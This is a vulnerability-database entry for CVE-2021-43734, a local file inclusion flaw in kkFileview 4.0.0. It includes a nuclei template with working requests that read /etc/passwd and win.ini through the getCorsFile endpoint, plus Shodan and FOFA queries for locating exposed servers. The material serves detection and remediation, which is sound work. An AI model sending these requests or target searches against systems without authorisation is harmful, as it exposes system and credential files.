HexBrain

Browse / CVEs / CVE-2021-43734

CVE-2021-43734· keking / kkfileview· CWE-22

kkFileview v4.0.0 - Local File Inclusion

highseverity
7.5CVSS score
10.4%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.

Fix

Upgrade to a patched version of kkFileview v4.0.1 or later, or apply the necessary security patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/getCorsFile?urlPath=file:///etc/passwd ; GET {{BaseURL}}/getCorsFile?urlPath=file:///c://windows/win.ini
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-43734 -u <target>

The full check
id: CVE-2021-43734

info:
  name: kkFileview v4.0.0 - Local File Inclusion
  author: arafatansari
  severity: high
  description: |
    kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade to a patched version of kkFileview v4.0.1 or later, or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/304
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43734
    - https://github.com/20142995/Goby
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ArrestX/--POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43734
    cwe-id: CWE-22
    epss-score: 0.10446
    epss-percentile: 0.95783
    cpe: cpe:2.3:a:keking:kkfileview:4.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - body="kkfileview"
      - app="kkfileview"
  tags: cve2021,cve,kkfileview,traversal,lfi,keking,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/getCorsFile?urlPath=file:///etc/passwd"
      - "{{BaseURL}}/getCorsFile?urlPath=file:///c://windows/win.ini"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from